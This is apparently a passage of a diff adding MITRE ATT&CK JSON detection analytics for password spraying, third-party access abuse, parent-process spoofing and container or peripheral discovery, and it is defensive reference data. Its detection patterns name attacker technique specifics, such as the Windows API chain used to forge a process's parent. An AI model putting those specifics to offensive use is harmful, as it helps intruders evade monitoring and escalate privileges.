"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1337", + "external_id": "AN1337" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1337", + "description": "Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:syslog", + "channel": "Failed password for invalid user" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PasswordReusePattern", + "description": "Repetition or minor variation of the same password across user attempts" + }, + { + "field": "IPAggregationWindow", + "description": "Length of time to observe distributed spray attempts from single source" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--36c2c2fb-0bea-40fe-9032-c0758d381de5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1338", + "external_id": "AN1338" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1338", + "description": "Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "Login Window and Authd errors" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RetryCountThreshold", + "description": "Total number of attempts before alerting" + }, + { + "field": "CommonPasswordList", + "description": "List of passwords considered suspicious due to widespread use" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0527196a-1551-445c-bdd7-943dfda9b718", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1339", + "external_id": "AN1339" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1339", + "description": "Sign-in failures across enterprise SSO applications or SaaS platforms from same IP address using the same password against multiple user identities", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Failure Reason + UserPrincipalName" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoIPAnomalyCheck", + "description": "Use geolocation mismatches to strengthen signal" + }, + { + "field": "FailedUserRatio", + "description": "Proportion of total user base affected to filter noise" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c35bd9de-acd9-41f9-9e4f-2a3aad461de6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1340", + "external_id": "AN1340" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1340", + "description": "Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "AAA or TACACS authentication failures" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthFailureBurst", + "description": "Cluster of failed attempts in short period indicating spray" + }, + { + "field": "InterfaceFilter", + "description": "Limit detection to console/SSH vs web UI interfaces" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70500794-7d3d-4538-8e88-ed6d5e998a8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1341", + "external_id": "AN1341" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1341", + "description": "Repeated failed authentication attempts to container APIs, control planes, or login shells across many user names using same password", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "kubernetes:audit", + "channel": "Failed login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OrchestrationScope", + "description": "Detect spray attempts scoped to single pod vs full cluster" + }, + { + "field": "ServiceAccountFilter", + "description": "Limit detection to non-service accounts to reduce noise" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cfffc717-79f1-4aea-9e68-475ef52db11d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1342", + "external_id": "AN1342" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1342", + "description": "Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:exchange", + "channel": "FailedLogin" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailboxAccessAttempts", + "description": "Threshold on mailbox login failures by same IP" + }, + { + "field": "EmailPatternAnalysis", + "description": "Match target usernames to common spray dictionaries" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4a0d95a-2dfc-4b03-830e-d0dafca0be6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1343", + "external_id": "AN1343" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1343", + "description": "SaaS applications receiving authentication failures for dozens of accounts using same password or login signature", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:auth", + "channel": "signin_failed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CloudAppScope", + "description": "Restrict detection to identity providers or select high-risk SaaS platforms" + }, + { + "field": "UserPopulationSensitivity", + "description": "Adjust based on size and role of account pool" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--46630fc8-75de-4b73-b46e-0a4eeb7ad310", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1344", + "external_id": "AN1344" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1344", + "description": "Behavioral chain: (1) a login from a third-party account or untrusted source network establishes an interactive/remote session; (2) the session acquires elevated privileges or accesses sensitive resources atypical for that account; (3) subsequent lateral movement or data access occurs from the same session/device. Correlate Windows logon events, token elevation/privileged use, and resource access with third-party context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648,4672,4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4776,4771,4770" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ThirdPartyCIDRs", + "description": "Ranges used by MSPs/contractors/VPN egress; used to enrich logons and network flows." + }, + { + "field": "ExpectedAdminHosts", + "description": "Servers where third-party admins are allowed; deviations raise risk." + }, + { + "field": "TimeWindow", + "description": "Correlation window linking logon \u2192 elevation \u2192 access (e.g., 30\u2013120 minutes)." + }, + { + "field": "HighValueResources", + "description": "File shares/AD objects/servers that should never be touched by third-party sessions." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e19cbf11-fabf-4dfd-aeb2-1c62660ebd8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1345", + "external_id": "AN1345" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1345", + "description": "Behavioral chain: (1) sshd or federated SSO logins from third-party networks or identities; (2) rapid sudo/su privilege elevation; (3) access to sensitive paths or east-west SSH. Correlate auth logs, process execution, and network flows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "auditd:SYSCALL", + "channel": "execve,socket,connect,openat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:syslog", + "channel": "Accepted publickey/password for * from * port * ssh2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssh connections originating from third-party CIDRs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ThirdPartyUsers", + "description": "POSIX accounts assigned to vendors/partners." + }, + { + "field": "AllowedJumpHosts", + "description": "Bastion hosts permitted for third-party access." + }, + { + "field": "MFAExpected", + "description": "Flag indicating whether PAM/MFA should be present; used to score risk." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7c28e2f5-c944-4974-810f-81bcfdc8b6cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1346", + "external_id": "AN1346" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1346", + "description": "Behavioral chain: (1) third-party interactive login or mobileconfig-based device enrollment; (2) privilege use or admin group change; (3) lateral movement mounts/ssh. Correlate unified logs and network telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd successful login events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "Group membership change for admin or wheel" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssh/smb connections to internal resources from third-party devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ManagedDeviceList", + "description": "Known corp devices; treat unknown devices as higher risk." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f0e2baa2-3bb7-4587-8eae-6abddd1cf140", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1347", + "external_id": "AN1347" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1347", + "description": "Behavioral chain: (1) delegated admin or external identity establishes session (e.g., partner/reseller DAP, B2B guest, SAML/OAuth trust); (2) role elevation or app consent/permission grant; (3) downstream privileged actions in the tenant. Correlate IdP sign-in, admin/role assignment, and consent/admin-on-behalf events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "InteractiveUser, ServicePrincipalSignIn" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "azure:audit", + "channel": "Add delegated admin / Assign admin roles / Update application consent" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedPartnerTenantIDs", + "description": "Tenant IDs of approved partners; any others are suspicious." + }, + { + "field": "RequiredMFA", + "description": "Require MFA for partner sessions; alert on bypass or step-up failure." + }, + { + "field": "RoleScopeAllowList", + "description": "Roles third-parties may hold (e.g., Helpdesk Admin); flag broader scopes." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c526f8c1-95ec-494f-b7bf-49a95a803f2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1348", + "external_id": "AN1348" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1348", + "description": "Behavioral chain: (1) cross-account or third-party principal assumes a role into the tenant/subscription/project; (2) privileged API calls are made in short succession; (3) access originates from unfamiliar networks or geos. Correlate assume-role/federation events with sensitive API usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudTrail", + "channel": "CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "gcp:audit", + "channel": "google.iam.credentials.generateAccessToken / serviceAccountTokenCreator" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExternalAccountAllowList", + "description": "Cross-account principals permitted to assume roles; used for allow-listing." + }, + { + "field": "SensitiveAPIs", + "description": "Provider-specific list of risky APIs for scoring." + }, + { + "field": "GeoVelocityThreshold", + "description": "Detect impossible travel between partner and tenant actions." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4766bdc0-047a-4250-93c1-6d907178620e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1349", + "external_id": "AN1349" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1349", + "description": "Behavioral chain: (1) third-party app or admin connects via OAuth/marketplace install; (2) high-privilege scopes granted; (3) anomalous actions (mass read/exports, admin changes).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:googleworkspace", + "channel": "OAuth2 authorization grants / Admin role assignments" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "saas:salesforce", + "channel": "ConnectedApp OAuth policy change / Login as user" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedApps", + "description": "Catalog of sanctioned third-party apps and scopes." + }, + { + "field": "ExportVolumeThreshold", + "description": "Data export size/rate baselines to detect abnormal partner activity." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b5985d46-1d54-4a6d-81c8-0b577b5d8d17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0488#AN1350", + "external_id": "AN1350" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1350", + "description": "Behavioral chain: (1) delegated administration offers/relationships created or modified by partner tenants; (2) mailbox delegation/impersonation enabled; (3) follow-on access from partner IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "InteractiveUser, NonInteractiveUser" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailboxDelegateAllowList", + "description": "Specific mailboxes third-parties may manage." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--312f9f86-b987-483c-8b1d-955415eea946", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0489#AN1351", + "external_id": "AN1351" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1351", + "description": "A process explicitly forges its parent using EXTENDED_STARTUPINFO + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (UpdateProcThreadAttribute \u2192 CreateProcess[A/W]/CreateProcessAsUserW) or other Native API paths, resulting in **mismatched/implausible lineage** across ETW EventHeader ProcessId, Security 4688 Creator Process ID/Name, and sysmon ParentProcessGuid. Often paired with privilege escalation when the chosen parent runs as SYSTEM.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "process_start: EventHeader.ProcessId true parent vs reported PPID mismatch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between UpdateProcThreadAttribute/CreateProcess* and the resulting process (default 5\u201310 minutes)." + }, + { + "field": "AllowedSpoofers", + "description": "Legitimate binaries that commonly use StartupInfoEx/PPID assignment (e.g., consent.exe, svchost.exe during UAC)." + }, + { + "field": "ParentPrivilegeDeltaThreshold", + "description": "Minimum privilege/integrity gap between chosen parent and real caller to raise severity." + }, + { + "field": "LineageMismatchTolerance", + "description": "Number of mismatched sources (0\u20133) before alerting to reduce noise." + }, + { + "field": "SensitiveParents", + "description": "List of SYSTEM parents that, if spoofed, auto\u2011escalate severity (e.g., lsass.exe, services.exe, wininit.exe)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3947e311-cada-4eab-b4fd-1ea1f3fc3485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0490#AN1352", + "external_id": "AN1352" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1352", + "description": "Detection of adversary attempts to enumerate containers, pods, nodes, and related resources within containerized environments. Defenders may observe anomalous API calls to Docker or Kubernetes (e.g., 'docker ps', 'kubectl get pods', 'kubectl get nodes'), unusual account activity against the Kubernetes dashboard, or unexpected queries against container metadata endpoints. These events should be correlated with user context and network activity to reveal resource discovery attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0", + "name": "kubernetes:apiserver", + "channel": "list or get requests against pods, deployments, or nodes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8", + "name": "docker:daemon", + "channel": "docker ps, docker inspect, or docker images commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAllowList", + "description": "Defines which service accounts and admin roles are expected to perform discovery actions. Activity by non-allowlisted identities may indicate adversary discovery." + }, + { + "field": "TimeWindow", + "description": "Specifies correlation period (e.g., 10m) for linking multiple discovery attempts across API and daemon logs." + }, + { + "field": "PodQueryThreshold", + "description": "Defines threshold for number of pod/node enumeration requests by a single user. Excessive queries may indicate scanning activity." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a986c8fd-6779-4769-895a-e6d167d9f1a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0491#AN1353", + "external_id": "AN1353" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1353", + "description": "Suspicious enumeration of attached peripherals via WMI, PowerShell, or low-level API calls potentially chained with removable device interactions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 